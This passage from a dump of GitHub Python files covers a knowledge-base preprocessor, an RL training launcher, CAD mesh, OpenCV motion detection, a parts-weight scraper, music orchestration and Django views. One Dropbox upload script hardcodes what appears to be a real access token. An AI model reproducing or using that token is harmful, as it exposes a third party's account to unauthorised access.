annotation_types_ids = {}\n curr_annotation_type_id = 0\n\n # used to make id unique\n last_id_used = 0\n\n domains = cfg['preprocessor_swde']['domains']\n\n for domain in domains.keys():\n domain_dir = groundtruth_path + domain\n sites_annotation_files_paths = file.get_files_into_dir(domain_dir, full_path=True)\n\n # get only site selected in config (for that domain)\n site_annotation_files_paths = list(filter(lambda file_path: any(cfg_site in file_path for cfg_site in cfg['preprocessor_swde']['sites']), sites_annotation_files_paths))\n\n main_annotation = domains[domain]\n\n # id_map = {id_in_swde: id_in_kb}\n id_map = {}\n\n for site_annotation_path in site_annotation_files_paths:\n if main_annotation in site_annotation_path: # this is domain main annotation file (exfor movie is title)\n with open(site_annotation_path, 'rU', encoding=\"utf8\") as site_annotation_file:\n site_annotation_file.readline()\n site_annotation_file.readline()\n for in_line in site_annotation_file:\n vertex = in_line.split('\\t')\n\n vertex_swde_id = int(vertex[0])\n if vertex_swde_id not in id_map:\n id_map[vertex_swde_id] = last_id_used\n last_id_used += 1\n vertex_kb_id = id_map[vertex_swde_id]\n\n vertex_text = vertex[2]\n vertex_text_clean = string_utils.clean_string(vertex_text)\n\n vertex_out_file.write('{},\"{}\"\\n'.format(vertex_kb_id, vertex_text_clean))\n\n else: # this is NOT domain main annotation file (ex for movie is diretor)\n # get annotation type (phone, director, ...)\n annotation_type = site_annotation_path.split('-')[-1][:-4]\n\n # get annotation type id\n if annotation_type not in annotation_types_ids:\n annotation_types_ids[annotation_type] = curr_annotation_type_id\n curr_annotation_type_id += 1\n annotation_type_id = annotation_types_ids[annotation_type]\n\n with open(site_annotation_path, 'rU', encoding=\"utf8\") as site_annotation_file:\n site_annotation_file.readline()\n site_annotation_file.readline()\n for in_line in site_annotation_file:\n edge = in_line.split('\\t')\n\n edge_src_swde_id = int(edge[0])\n if edge_src_swde_id not in id_map:\n id_map[edge_src_swde_id] = last_id_used\n last_id_used += 1\n edge_src_kb_id = id_map[edge_src_swde_id]\n\n edge_dst_kb_id = last_id_used\n last_id_used += 1\n\n edge_dst_text = edge[2]\n edge_dst_text_clean = string_utils.clean_string(edge_dst_text)\n\n vertex_out_file.write('{},\"{}\"\\n'.format(edge_dst_kb_id, edge_dst_text_clean))\n edge_out_file.write('{},{},{},\"{}\"\\n'.format(edge_src_kb_id, edge_dst_kb_id, annotation_type_id, annotation_type))\n\n for edge_type_text, edge_type_id in annotation_types_ids.items():\n edge_type_out_file.write('{},\"{}\"\\n'.format(edge_type_id, edge_type_text))","repo_name":"andrea-pustina/Elicio","sub_path":"src/knowledge_base/preprocessors/preprocessor_swde.py","file_name":"preprocessor_swde.py","file_ext":"py","file_size_in_byte":5406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"33126716545","text":"#Write a program that accepts sequence of lines as input and prints the lines after making\n# all characters in the sentence capitalized.\n#Suppose the following input is supplied to the program:\n#Hello world\n#Then, the output should be:\n#HELLO WORLD\n\nword=input(\"enter any words\")\nword=word.upper()\nprint(word)","repo_name":"sudarshan1998/python_assignment_dec22","sub_path":"q_no_3.py","file_name":"q_no_3.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"8621039706","text":"import launchpad as lp\nfrom Environment.environment import vehicularNetworkEnv, make_environment_spec\nfrom Agents.MAD5PG.networks import make_default_MAD3PGNetworks\nfrom Agents.MAD5PG.agent import MAD3PGConfig, MultiAgentDistributedDDPG\nfrom Utilities.FileOperator import load_obj\n\ndef main(_):\n \n # task_request_rate=0.3\n # environment_file_name = \"/home/neardws/Documents/Game-Theoretic-Deep-Reinforcement-Learning/Data/different_task_number/task_request_rate_0_3/init_environment_f80db9577b96498d89be3677d49d528e.pkl\" \n # task_request_rate=0.35\n # environment_file_name = \"/home/neardws/Documents/Game-Theoretic-Deep-Reinforcement-Learning/Data/different_task_number/task_request_rate_0_3_5/init_environment_464cc239ae0b43b0a7ff61ac39a171c7.pkl\" \n # task_request_rate=0.4\n environment_file_name = \"/home/neardws/Documents/Game-Theoretic-Deep-Reinforcement-Learning/Data/different_task_number/task_request_rate_0_4/init_environment_6941aa5605e24de3a8e370cfa86dbb0d.pkl\" \n # task_request_rate=0.45\n # environment_file_name = \"/home/neardws/Documents/Game-Theoretic-Deep-Reinforcement-Learning/Data/different_task_number/task_request_rate_0_4_5/init_environment_19d53b92cd9e4e1ea895d1a809848473.pkl\" \n # task_request_rate=0.5\n # environment_file_name = \"/home/neardws/Documents/Game-Theoretic-Deep-Reinforcement-Learning/Data/different_task_number/task_request_rate_0_5/init_environment_524c2333e5474adfaf67b8d6c0fc7fd7.pkl\" \n \n environment = load_obj(environment_file_name)\n \n print(\"environment._for_mad5pg: \", environment._for_mad5pg)\n spec = make_environment_spec(environment)\n\n agent_config = MAD3PGConfig(\n sigma=0.3,\n )\n\n # Create the networks.\n networks = make_default_MAD3PGNetworks(\n action_spec=spec.edge_actions,\n sigma=agent_config.sigma,\n )\n\n agent = MultiAgentDistributedDDPG(\n config=agent_config,\n environment_file_name=environment_file_name,\n environment_spec=spec,\n max_actor_steps=1500000,\n networks=networks,\n num_actors=10,\n )\n\n program = agent.build()\n \n lp.launch(program, launch_type=\"local_mt\", serialize_py_nodes=False)\n ","repo_name":"neardws/Game-Theoretic-Deep-Reinforcement-Learning","sub_path":"Experiment/run_mad5pg.py","file_name":"run_mad5pg.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"53"} +{"seq_id":"70791019368","text":"import ezdxf\n\n# 8 corner vertices\ncube_vertices = [\n (0, 0, 0),\n (1, 0, 0),\n (1, 1, 0),\n (0, 1, 0),\n (0, 0, 1),\n (1, 0, 1),\n (1, 1, 1),\n (0, 1, 1),\n]\n\n# 6 cube faces\ncube_faces = [\n [0, 3, 2, 1],\n [4, 5, 6, 7],\n [0, 1, 5, 4],\n [1, 2, 6, 5],\n [3, 7, 6, 2],\n [0, 4, 7, 3],\n]\n\npolygon5_vertices = [\n (0, 0, 0),\n (2, 0, 0),\n (2, 2, 0),\n (1, 3, 1),\n (0, 2, 0),\n]\n\npolygon5_face = [\n [0, 1, 2, 3, 4]\n]\n\ndoc = ezdxf.new('R2000')\nmsp = doc.modelspace()\nmesh = msp.add_mesh()\nwith mesh.edit_data() as mesh_data:\n mesh_data.vertices = cube_vertices\n mesh_data.faces = cube_faces\n\nmesh5 = msp.add_mesh()\nwith mesh5.edit_data() as mesh_data:\n mesh_data.vertices = polygon5_vertices\n mesh_data.faces = polygon5_face\n\ndoc.saveas(\"cube_mesh_1.dxf\")\n","repo_name":"DatacloudIntl/dc_ezdxf","sub_path":"examples/entities/mesh_1.py","file_name":"mesh_1.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"7381000863","text":"import dropbox\r\n\r\nclass TransferData (object): \r\n def __init__(self, access_token):\r\n self.access_token = access_token\r\n\r\n def upload_files(self, file_from, file_to):\r\n dbx = dropbox.Dropbox(self.access_token)\r\n f = open (file_from, 'rb')\r\n dbx.files_upload(f.read(), file_to) \r\n\r\ndef main ():\r\n access_token = 'sl.AoK6Wk8ckhFJwvy6Yt12PGIwMbVf7kG0-nwFq1K-OyWQKwkpbRUiIOCQfwr-Ig8ZPQWtNzfY_fZUNlZuXbv127MzmFj14C9Koa0_UZqtRAVVIAt4rzI3LtZWz-XxaTq20oBw4p0'\r\n transferData1 = TransferData(access_token)\r\n file_from = input(\"enter the file name to transfer: \")\r\n file_to = input (\"enter the full path to upload: \")\r\n transferData1.upload_files(file_from, file_to)\r\n print (\"the file has been stored\")\r\n\r\nmain() ","repo_name":"sohanmithinti/cloud-storage","sub_path":"cloudStorage.py","file_name":"cloudStorage.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"41512503718","text":"# -*- encoding: utf-8 -*-\nimport abjad\nfrom calliope import bubbles\nfrom copper import machines\nfrom copper.generations.gen_b import gen_b\nfrom copper import staves\n\n# SHORTCUTS TO AVOID TYPING\nFrag = machines.Fragments\nID = machines.IndexedData\nID1 = machines.ID1\n\nLINES = ID({\n 0:gen_b.Drone0(),\n 1:gen_b.Line1(),\n 2:gen_b.Line2(),\n 3:gen_b.Line3(),\n })\n# ------------------------------------------------------------------------------------------------------------\n# BASE CLASSES AND HELPERS\n\nclass ArrangeB(gen_b.GenB, machines.FragmentLine, machines.PitchedLine):\n unarranged = bubbles.Line(\"R2. * 24\") # TO DO: is this the right length????\n lines = LINES\n # show_data_attr=\"depthwise_index\"\n def update_data(self):\n super().update_data()\n if self.fragments and len(self.segments) > 1:\n self.segments[1].tag(\"mp\")\n self.events[1].untag(\"\\clef bass\")\n\n# ------------------------------------------------------------------------------------------------------------\n# WINDS\n\nclass Picc(ArrangeB):\n pass\n\nclass Flute1(ArrangeB):\n pass\n\nclass Flute2(ArrangeB):\n pass\n\nclass Oboe1(ArrangeB):\n pass\n\nclass Oboe2(ArrangeB):\n fragments = Frag.make(\n *Frag.its(1, (1,10) ),\n )\n fragments.update_by(1,1, tags=(\"mf\",\"English Horn\"))\n fragments.update_by(1,6, duration=0.5)\n fragments.update_by(1,9, duration=3.5)\n fragments.update_by(1,9, tags=[\"to Ob.\"])\n def update_data(self):\n super().update_data()\n machines.AttachmentTagData.span_every(\"(\", self.events[1:10],3)\n\nclass Clarinet1(ArrangeB):\n pass\n \nclass Clarinet2(ArrangeB):\n metrical_durations = ID({\n 9:((3,4),),\n 10:((3,4),),\n 11:((3,4),),\n 13:((2,4),(1,4),),\n }, default=((1,4),)*3, limit=24)\n fragments = Frag.make(\n Frag.it(0, 9, tags=(\"Bass Clarinet\",) ),\n Frag.it(0, 10, ),\n Frag.it(0, 11, ),\n Frag.it(0, 13, before_next=0),\n Frag.it(3, 12, tags=(\"-\",\"mf\") ),\n Frag.it(3, 13, tags=(\".\",\">\") ),\n Frag.it(3, 16, attack_offset=0.75, duration=0.25, tags=\"-\" ),\n Frag.it(3, 17, duration=0.5, tags=\".\" ),\n Frag.it(3, 19, duration=0.5, tags=(\".\",\">\") ),\n Frag.it(3, 22, duration=0.25, attack_offset=0.25, tags=\"(\"), \n Frag.it(3, 23, tags=\")\"), \n Frag.it(3, 24, tags=\".\"), \n Frag.it(3, 25, duration=0.5, tags=(\".\",\">\", \" to Cl.\")), \n )\n fragments.update_by(3,22, attack_offset=0.25)\n def after_music(self, music):\n super().after_music(music)\n bass_clarinet_command = abjad.Markup(\"to Bcl.\", direction=Up)\n abjad.attach(bass_clarinet_command, music[0])\n transpose=12\n\nclass Bassoon1(ArrangeB):\n metrical_durations = ArrangeB.metrical_durations + {\n 14:((1,4),)*3,\n 15:((1,4),)*3,\n 16:((1,4),)*3,\n }\n # show_data_attr=\"original_depthwise_index\"\n fragments = Frag.make(\n *Frag.its(0, (1,7), offset=6),\n *Frag.its(2, (3,7) ), \n # *Frag.its(3, (1,5) ), # Tuba's taking care of this\n Frag.it(3,7, duration=2.75),\n Frag.it(3,12, tags=\"-\"),\n Frag.it(3,13, tags=(\".\",\">\")),\n Frag.it(1,15, duration=0.5, tags=(\".\",\">\")),\n Frag.it(1,16, duration=1.75),\n Frag.it(3, 24, tags=\".\"), \n Frag.it(2, 20, duration=0.5, tags=(\".\",\">\")), \n Frag.it(3, 27, duration=4), \n *Frag.its(0, (21,24) ),\n )\n fragments.update_by(2,3, tags=[\"mf\"])\n fragments.update_by(2,4, duration=0.5)\n # fragments.update_by(2,5, tags=[\"mf\"])\n fragments.update_by(2,6, duration=6.5)\n fragments.update_by(3,4, duration=1)\n def update_data(self):\n super().update_data()\n self.event_by(0,6).untag(\"mp\",\"\\>\").tag(\"~!\")\n machines.AttachmentTagData.span_every(\"(\", self.events[6:10])\n def after_music(self, music, **kwargs):\n super().after_music(music, **kwargs)\n trill = abjad.spannertools.TrillSpanner(pitch=abjad.NamedPitch(\"Bb2\"))\n abjad.attach(trill, music[30:33])\n\nclass Bassoon2(ArrangeB):\n # show_data_attr=\"original_depthwise_index\"\n # line_offset = ID({0:6},default=0,cyclic=False)\n metrical_durations = ArrangeB.metrical_durations + {\n 13:((1,4),)*3,\n 18:((1,4),)*3,\n 19:((2,4),(1,4),),\n 20:((2,4),(1,4),),\n }\n fragments = Frag.make(\n *Frag.its(0, (1,8) ),\n *Frag.its(2, (7,13) ), \n *Frag.its(3, (7,12) ), \n Frag.it(3,13, tags=(\".\",\">\")),\n Frag.it(3,39, tags=(\"Contra Bsn.\", \".\",\">\", \"mf\")),\n Frag.it(3,40, duration=2.5),\n Frag.it(3,46, duration=2),\n Frag.it(3,49, duration=4, tags=(\">\",\" to Bsn.\")),\n # *Frag.its(3, (1,5) ),\n )\n fragments.update_by(2,7, attack_offset=-1)\n fragments.update_by(3,11, duration=0.5, tags=[\"-\", \"to Cbn.\"])\n def update_data(self):\n super().update_data()\n # for Cbsn. octave transposition... TO DO... this is nasty... make this easier\n self.event_by(3,39).pitch += 12\n self.event_by(3,40).pitch += 12\n self.event_by(3,46).pitch += 12\n self.event_by(3,49).pitch += 12\n first_melodic_event = self.event_by(2,7).tag(\"mf\")\n machines.AttachmentTagData.span_every(\"(\", self.events[7:17])\n\n# ------------------------------------------------------------------------------------------------------------\n# BRASS\n\nclass Horn1(ArrangeB):\n fragments = Frag.make(\n *Frag.its(0, (1,4), offset=-3 ),\n *Frag.its(0, (5,8), offset=3),\n Frag.it(0,9, offset=9, tags=[]),\n Frag.it(1,10, tags=[\"(\"] ),\n Frag.it(1,11, tags=(\"mf\",) ),\n Frag.it(1,12, tags=\"\\>\" ),\n Frag.it(1,13, duration=3, tags=(\"p\",\")\") ),\n *Frag.its(0, (17,20), offset=3),\n )\n\n\nclass Horn2(ArrangeB):\n fragments = Frag.make(\n *Frag.its(0, (1,4), offset=6 ),\n *Frag.its(0, (9,12),),\n *Frag.its(0, (13,16), offset=3),\n *Frag.its(0, (21,23),offset=3),\n )\n fragments.update_by(0,22,tags=[\"~!\"])\n\n\nclass Trumpet1(ArrangeB):\n metrical_durations = ArrangeB.metrical_durations + {\n 12:((2,4),(1,4)),\n }\n fragments = Frag.make(\n Frag.it(3,1, duration=2.5, tags=(\"cup mute\",\"p\")),\n )\n\nclass Trumpet2(Trumpet1):\n pass\n\nclass Trombone1(ArrangeB):\n fragments = Frag.make(\n Frag.it(0,13, tags=\"\\<\"),\n Frag.it(2,19, tags=\"mf\"),\n Frag.it(0,17, tags=\"\\<\"),\n Frag.it(2,22, tags=\"mf\"),\n Frag.it(0,21, tags=\"\\<\"),\n Frag.it(2,25, tags=\"mf\"),\n Frag.it(2,26),\n Frag.it(2,27, duration=4),\n )\n\nclass Trombone2(ArrangeB):\n fragments = Frag.make(\n Frag.it(0,15, tags=\"\\<\"),\n Frag.it(2,20, tags=\"mf\"),\n Frag.it(2,21),\n Frag.it(0,19, tags=\"\\<\"),\n Frag.it(2,23, tags=\"mf\"),\n Frag.it(2,24)\n )\n\nclass Tuba(ArrangeB):\n metrical_durations = ArrangeB.metrical_durations + {\n 12:((1,4),)*3,\n 14:((1,4),)*3,\n 17:((1,4),)*3,\n 19:((1,4),)*3,\n 20:((1,4),)*3,\n }\n fragments = Frag.make(\n *Frag.its(3, (1,7)),\n *Frag.its(3, (13,19)),\n *Frag.its(3, (28,34)),\n *Frag.its(3, (40,46)),\n *Frag.its(3, (49,55)),\n *Frag.its(1, (25,28)),\n )\n fragments.update_by(3,1, tags=[\"\\<\"])\n fragments.update_by(3,6, tags=[\">\",\".\",\"mf\"])\n fragments.update_by(3,18, duration=3.25, tags=\">\")\n fragments.update_by(3,33, duration=2.75, tags=\">\")\n fragments.update_by(3,45, duration=1.25, tags=\">\")\n def update_data(self):\n super().update_data()\n machines.AttachmentTagData.span_every(\"(\", self.events[1:])\n\n# ------------------------------------------------------------------------------------------------------------\n# TIMPANI / PERCUSSION / HARP / PIANO\n\nclass Timpani(ArrangeB):\n music = bubbles.Line(r\"\"\"\n d4 \\> r4 r4 | d4 r4 r4 | d4 r4 r4 | d4 r4 r4 | d4 \\pp \\! r4 r4 |\n R2. * 8 |\n c4 \\mp r4 r4 | d4 r4 r4 | \n c4 r4 r4 | d4 r4 r4 | \n c4 r4 r4 | c4 r4 r4 | R2. |\n 4 -> \\mf r8 d8 \\p \\< r4 | \n d4 r8 d8 r4 | d4 r8 d8 r4 | d4 r8 d8 \\mf \\! r4 |\n \"\"\")\n\nclass Perc1(ArrangeB):\n music = bubbles.Line(r\"\"\"\n #8\n r4 c2:32 ~ \\ppp \\< \n c2.:32 \\pp \\! ~\n c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ \n #16\n c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ \n #24\n c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ \n c2:32 \\< ~ c8:32 ~ c8:32 \\mf \\!\n \"\"\")\n\nclass Perc2(ArrangeB):\n music = bubbles.Line(r\"\"\"\n R2.* 7\n c4 \\mp ^ \\markup {\"Sus. Cymbal, tam tam beater\"} r4 r4 | R2. | r4 r4 c4\n R2. * 2 |\n c4 \\mf ^ \\markup {\"Tam tam, l.v.\"} r4 r4 | \n R2. | c4 r4 r4 | R2. * 2 |\n c4 r4 r4 | R2. |\n c4 r4 r4 | R2. * 4\n \"\"\")\n\nclass Vibes(ArrangeB):\n music = bubbles.Line(r\"\"\"\n \\clef bass d4 \\fff -> ^\\markup { \"Marimba\" } r4 r4\n R2. *23\n \"\"\")\n\nclass Harp1(ArrangeB):\n pass\n\nclass Harp2(ArrangeB):\n pass\n\nclass Piano1(ArrangeB):\n pass\n\nclass Piano2(ArrangeB):\n music = bubbles.Line(r\"\"\"\n R2.*16 |\n r4 r4 4 ~ | 2. |\n R2. * 6 |\n \"\"\")\n\n# ------------------------------------------------------------------------------------------------------------\n# STRINGS\n\nclass ViolinI1(ArrangeB):\n pass\n\nclass ViolinI2(ArrangeB):\n pass\n\nclass ViolinII1(ArrangeB):\n pass\n\nclass ViolinII2(ArrangeB):\n pass\n\nclass ViolaArrangeB(ArrangeB):\n # TO DO... shouldn't have to repeat this code... should be able to reuse from StringsArrangeA \n # show_data_attr=None\n # show_data_attr=\"original_depthwise_index\"\n def update_data(self, **kwargs):\n super().update_data(**kwargs)\n if self.fragments:\n for event in self.events[1:]:\n if len(event) > 1:\n event[0].tag(\"pp\", \"\\<\")\n event[1].tag(\"mp\", \">\")\n\nclass Viola1(ViolaArrangeB):\n show_data_attr=\"original_depthwise_index\"\n fragments = Frag.make(\n Frag.it(2, 1, attack_offset=-3, keep_attack=True),\n Frag.it(2, 2),\n Frag.it(2, 6, attack_offset=-2.5, keep_attack=True, before_next=0),\n Frag.it(2, 7),\n Frag.it(1, 6, attack_offset=-4, keep_attack=True, before_next=0),\n )\n def update_data(self, **kwargs):\n super().update_data(**kwargs)\n self.event_by(2,1)[1].tag(\"(\",)\n self.event_by(2,2).tag(\")\")\n\nclass Viola2(Viola1):\n pass\n\n# NOTE... swapped order of inheritance so that Cello1 could override instructions\nclass Cello2(ArrangeB):\n fragments = Frag.make(\n Frag.it(2,13,),\n Frag.it(2,14, tags=[\"(\"]),\n Frag.it(2,15, tags=[\")\"]),\n Frag.it(2,16, ),\n Frag.it(2,17, tags=[\"(\"]),\n Frag.it(2,18, duration=2.5, tags=[\")\"]),\n Frag.it(1,14, tags=[\"(\"]),\n Frag.it(1,15, tags=[\")\"]),\n Frag.it(3, 20, tags=[\"(\"]),\n Frag.it(3, 21, tags=[\")\"]),\n Frag.it(3, 22, duration=2),\n Frag.it(3, 26, tags=[\"(\"]),\n Frag.it(3, 27, tags=[\")\"]),\n *Frag.its(1, (18,24)),\n )\n fragments.update_by(1,20, tags=[\"(\"])\n fragments.update_by(1,21, tags=[\")\"])\n\nclass Cello1(Cello2):\n def update_data(self, **kwargs):\n super().update_data(**kwargs)\n self.events[1].tag(\"\\clef bass\", \"tutti cello div 1\")\n\nclass Bass(ArrangeB):\n metrical_durations = ID({\n }, default=((1,4),)*3, limit=24)\n fragments = Frag.make(\n Frag.it(3,6, tags=[\"mf\",\"pizz.\"]),\n Frag.it(3,13, duration=1),\n Frag.it(3,18,),\n Frag.it(3,24,),\n Frag.it(3,25,),\n Frag.it(3,33,),\n Frag.it(3,39,),\n Frag.it(3,40,),\n Frag.it(3,45,),\n Frag.it(3,46,),\n Frag.it(3,51,),\n )\n transpose=12\n\n# ------------------------------------------------------------------------------------------------------------\n# ALL LINES ASSOCIATED WITH STAVES\n\n# TO DO... this is screwy... isntead, should be able to use introspection to pull classes from this module\ndef get_orchestration_b():\n class OrchestrationB(staves.CopperMusic):\n bubble_default = ArrangeB.unarranged # in case any parts are commented out\n picc = Picc() # TO DO... maybe this should always be piccolo?\n flute1 = Flute1()\n flute2 = Flute2()\n oboe1 = Oboe1()\n oboe2 = Oboe2()\n clarinet1 = Clarinet1()\n clarinet2 = Clarinet2()\n bassoon1 = Bassoon1()\n bassoon2 = Bassoon2()\n horn1 = Horn1()\n horn2 = Horn2()\n trumpet1 = Trumpet1()\n trumpet2 = Trumpet2()\n trombone1 = Trombone1()\n trombone2 = Trombone2()\n tuba = Tuba()\n timpani = Timpani()\n perc1 = Perc1()\n perc2 = Perc2()\n vibes = Vibes()\n harp1 = Harp1()\n harp2 = Harp2()\n piano1 = Piano1()\n piano2 = Piano2()\n violinI1 = ViolinI1()\n violinI2 = ViolinI2()\n violinII1 = ViolinII1()\n violinII2 = ViolinII2()\n viola1 = Viola1()\n viola2 = Viola2()\n cello1 = Cello1()\n cello2 = Cello2()\n bass = Bass()\n # SHORT SCORE\n drone0 = LINES[0].show_data(show_data_attr=\"original_depthwise_index\")\n line1 = LINES[1].show_data(show_data_attr=\"original_depthwise_index\")\n line2 = LINES[2].show_data(show_data_attr=\"original_depthwise_index\")\n line3 = LINES[3].show_data(show_data_attr=\"original_depthwise_index\")\n return OrchestrationB\n\n# -------------------------------------------------------------------------\n# OUTPUT SCORE\n\nbubbles.illustrate_me(__file__, \n lambda: staves.CopperScore( \n get_orchestration_b()(), \n title=\"Copper: B\", \n show_short_score=True, \n hide_empty=True).get_lilypond_file(),\n # as_midi=True\n )\n\n\n","repo_name":"mirrorecho/rwestmusic-copper","sub_path":"copper/generations/gen_b/orchestration_b.py","file_name":"orchestration_b.py","file_ext":"py","file_size_in_byte":13949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"13108322969","text":"# https://www.youtube.com/watch?v=MkcUgPhOlP8&list=PLS1QulWo1RIa7D1O6skqDQ-JZ1GGHKK-K&index=28\nimport cv2\nimport numpy as np\nfrom datetime import datetime\nimport time\nimport argparse\n\n# construct the argument parser and parse the arguments\nparser = argparse.ArgumentParser()\n\n# Do not show image to user\nparser.add_argument(\"--view\", action='store_true',required=False, help=\"supress image to user\")\nparser.add_argument(\"-o\", \"--output_dir\", required=False, help=\"path to output location\")\n# Specify the source is a video\nparser.add_argument(\"-src\", \"--source\", required=False, help=\"path and name to input video\")\n\nargs = parser.parse_args()\n\n# Set data directory path\nDATA_DIR = \"./data/\"\nif args.output_dir:\n DATA_DIR = args.output_dir \nout_filename = f\"{DATA_DIR}contour-{datetime.now()}.avi\"\n\n\n# Is source video specifed use instead of writing a video\nif args.source:\n cap = cv2.VideoCapture(args.source)\nelse: \n cap = cv2.VideoCapture(0)\n cap.set(3, 1280) # width\n cap.set(4, 720) # height\n\n# Find the frame height and width \nframe_width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\nframe_height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n \n# Set up the output file\nfourcc = cv2.VideoWriter_fourcc(\"X\", \"V\", \"I\", \"D\")\nout = cv2.VideoWriter(out_filename, fourcc, 5.0, (1280, 720))\n\n# Print the frame information and output filename\nprint(f\"Souce: wxh: {frame_width} x {frame_height} \")\nprint(f\"writing: {out_filename}\")\n\n\nwhile cap.isOpened():\n ret, frame1 = cap.read()\n ret, frame2 = cap.read()\n\n # t0 = time.time()\n diff = cv2.absdiff(frame1, frame2)\n gray = cv2.cvtColor(diff, cv2.COLOR_BGR2GRAY)\n blur = cv2.GaussianBlur(gray, (5, 5), 0)\n _, thresh = cv2.threshold(blur, 20, 255, cv2.THRESH_BINARY)\n dilated = cv2.dilate(thresh, None, iterations=3)\n contours, _ = cv2.findContours(dilated, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n # t1 = time.time()\n # print(t1-t0)\n\n for contour in contours:\n (x, y, w, h) = cv2.boundingRect(contour)\n\n if cv2.contourArea(contour) < 900:\n continue\n cv2.rectangle(frame1, (x, y), (x + w, y + h), (0, 255, 0), 2)\n cv2.putText(\n frame1,\n \"Status: {}\".format(\"Movement\"),\n (10, 80),\n cv2.FONT_HERSHEY_SIMPLEX,\n 1,\n (0, 0, 255),\n 3,\n )\n # cv2.drawContours(frame1, contours, -1, (0, 255, 0), 2)\n cv2.putText(\n frame1,\n \"Time: {}\".format(str(datetime.now())),\n (10, 40),\n cv2.FONT_HERSHEY_SIMPLEX,\n 1,\n (0, 0, 255),\n 3,\n )\n image = cv2.resize(frame1, (1280, 720))\n out.write(image)\n if args.view:\n cv2.imshow(\"feed\", frame1)\n\n if cv2.waitKey(40) == 27:\n break\n\ncv2.destroyAllWindows()\ncap.release()\nout.release()\n","repo_name":"ricklon/motion","sub_path":"motion-contour.py","file_name":"motion-contour.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"1747487252","text":"from urllib.parse import urljoin\n\nfrom bs4 import BeautifulSoup\n\nfrom bot.utils import make_request\n\n\ndef _get_mercedes_entries(part_number: str) -> list[dict]:\n \"\"\"Get the entries from the API.\"\"\"\n base_url = \"https://www.fixparts-online.com/en/Catalogs/\"\n # send form data\n params = {\"s\": part_number}\n headers = {\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\n }\n resp = make_request(base_url, params, json=False, headers=headers)\n return resp\n\n\ndef _extract_mercedes_linkpath(html: str, part_number: str) -> str:\n \"\"\"Extract the links from the HTML.\"\"\"\n soup = BeautifulSoup(html, \"html.parser\")\n cards = soup.find_all(\"div\", class_=\"mobile__table\")\n for one in cards:\n link = one.find(\"a\", class_=\"text-orange\")\n if link.text.strip().lower() == part_number.lower():\n return link[\"href\"].strip()\n return None\n\n\ndef _get_mercedes_product_page(linkpath: str) -> str:\n \"\"\"Get the product from the API.\"\"\"\n base_url = \"https://www.fixparts-online.com\"\n url = urljoin(base_url, linkpath)\n headers = {\n \"referral\": \"https://www.fixparts-online.com/en/Catalogs/\",\n }\n resp = make_request(url, None, json=False, headers=headers)\n return resp\n\n\ndef _extract_mercedes_product_weight(html: str) -> float:\n \"\"\"Extract the weight from the HTML.\"\"\"\n soup = BeautifulSoup(html, \"html.parser\")\n weight_row = soup.find(\"div\", class_=\"name\", string=\"Weight\")\n if weight_row is None:\n return 0.0\n weight_value = weight_row.find_next_sibling(\"div\", class_=\"type\")\n if weight_value is None:\n return 0.0\n weight = weight_value.text.rstrip(\"kg\").strip()\n return float(weight)\n\n\ndef get_mercedes_weight(part_number: str) -> float:\n \"\"\"Get the weight of the part from the API.\"\"\"\n entries = _get_mercedes_entries(part_number)\n linkpath = _extract_mercedes_linkpath(entries, part_number)\n if linkpath is None:\n return 0.0\n product = _get_mercedes_product_page(linkpath)\n weight = _extract_mercedes_product_weight(product)\n return weight\n\n\nif __name__ == \"__main__\":\n w = get_mercedes_weight(\"A0259975047\")\n print(f\"Weight: {w}\")\n","repo_name":"Rusteam/whatsapp-spares","sub_path":"bot/mercedes.py","file_name":"mercedes.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"40742571850","text":"from django.shortcuts import get_object_or_404, get_list_or_404, render\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django.views import generic\nfrom rest_framework.generics import GenericAPIView\nfrom rest_framework_jwt.authentication import JSONWebTokenAuthentication\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom django.utils import timezone\n\nfrom rest_framework.mixins import CreateModelMixin\n\nimport json\nimport codecs\n\nfrom rest_framework import viewsets\nfrom src.albums.serializers import AlbumSerializer, PhotoSerializer\nfrom .constants import default_image_url\nfrom .models import Album, Photo\n\n\nclass AlbumDataView(GenericAPIView, CreateModelMixin):\n authentication_classes = (JSONWebTokenAuthentication,)\n queryset = Album.objects.all()\n serializer_class = AlbumSerializer\n\n def perform_create(self, serializer):\n serializer.save(upload_date=timezone.now(), user=self.request.user)\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n headers = self.get_success_headers(serializer.data)\n return Response({\"album\": serializer.data}, status=status.HTTP_201_CREATED, headers=headers)\n\n def get(self, request):\n print(\"inside AlbumDataView.get()\")\n queryset = self.get_queryset()\n serializer = AlbumSerializer(queryset, many=True)\n \n print(serializer.data)\n\n return Response({\"albums\": serializer.data}, content_type=\"JSON\")\n\n def post(self, request):\n print(\"inside AlbumDataView.post()\")\n print(request.data)\n data = request.data\n response = 